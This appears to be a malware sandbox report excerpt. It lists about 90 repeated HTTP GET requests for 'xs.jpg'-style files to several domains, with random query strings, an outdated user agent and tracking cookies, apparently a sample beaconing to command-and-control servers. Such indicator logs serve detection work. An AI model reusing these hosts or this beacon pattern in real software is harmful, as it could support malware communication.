Source: global traffic HTTP traffic detected: GET /xs.jpg?9c9c7192=505180084 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?d64dcbbc=-1399089288 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?a6bc8d8b=-593430045 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159337|1720159208|4|29|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?1450be15=-1568280408 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159338|1720159209|4|29|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3a490c76=977865846 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159338|1720159210|4|29|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?d32cd494=-752036716 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?315ea03b=-153542361 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?fcfe00b3=-50462541 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159342|1720159208|4|30|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?4d6da8df=-1696902722 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159342|1720159209|4|30|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?fcf9a73d=-355233109 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159343|1720159210|4|30|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?d6cd1c9c=1530163824 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?ac94a6eb=-1399544085 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1e447f17=1015610926 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159346|1720159208|4|31|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?90145cb5=-1338173921 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159347|1720159209|4|31|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?7b65f9eb=-308811860 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159348|1720159210|4|31|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?e2362982=-499766910 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?ee96f00e=-1752588204 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3d8b03f0=867636144 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159351|1720159208|4|32|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?5ba63bfa=317895662 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159352|1720159209|4|32|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?dd7e3e4c=-1157858152 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159353|1720159210|4|32|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?48113524=1209087268 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?baec0a33=1977095270 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?4aae3f80=-1789100288 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159356|1720159208|4|33|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?3def25de=761812174 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159356|1720159209|4|33|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?169bcf29=-1260488376 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159357|1720159210|4|33|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?77e1dd4f=1738905581 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?bee7d50d=-1165547199 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9d03c0a4=973570376 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159360|1720159208|4|34|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?d883278a=1965001572 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159361|1720159209|4|34|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?b51abf91=-205832969 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159362|1720159210|4|34|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?6f1957af=1296828173 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?e75b4ac1=573939913 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?e367dd4b=-1918929620 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159364|1720159208|4|35|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?8c5cf857=-1110386253 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159365|1720159209|4|35|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?35067=651573 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159366|1720159210|4|35|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?98e1fd6=480927618 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?7d5f014e=-441053940 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?d809335f=1885077942 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159369|1720159208|4|36|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?755b4d7a=-1428526128 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159369|1720159209|4|36|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9326ace=1388691774 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159370|1720159210|4|36|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?a261d895=-1250910915 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?4c21d05f=-463113955 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?d01fe77f=1082105340 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159373|1720159208|4|37|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?b90529bb=976462158 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159374|1720159209|4|37|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?29084d1f=688409887 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159374|1720159210|4|37|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?b7b2679=1155720918 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?6115a042=-445898422 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?a44fd8bb=-1858116884 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159377|1720159208|4|38|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?8ccd01ec=859047856 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159378|1720159209|4|38|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?87953207=-1765829099 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159379|1720159210|4|38|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?e366d748=456571456 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?4aa74b0d=-1790011878 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?7b10710e=-496851372 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159382|1720159208|4|39|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?fb47c601=-475094010 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159382|1720159209|4|39|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?5f8cf3a4=2117324432 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159383|1720159210|4|39|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?857688db=366617452 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?303eae28=1618828368 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?e278541f=-495430625 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159387|1720159208|4|40|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?4f537962=1028515208 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159387|1720159209|4|40|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9a758865=959888067 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159388|1720159210|4|40|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?2c82c54b=-2054664223 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?6a0a1d8=1111904880 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?ba935ee0=-1528767904 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159391|1720159208|4|41|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?766eab11=1986964241 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159392|1720159209|4|41|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?a84724a6=-1832423812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159393|1720159210|4|41|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?bd6ca73c=-345687584 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?868208e4=-1819927892 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?de47d516=-796492346 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159396|1720159208|4|42|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?7558a477=-1072440630 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159397|1720159209|4|42|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?bd8cb32b=1900819202 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159397|1720159210|4|42|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?3bcd0466=1442982908 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?53f8f427=-68494219 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?d0624e0f=-498215846 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159401|1720159208|4|43|0
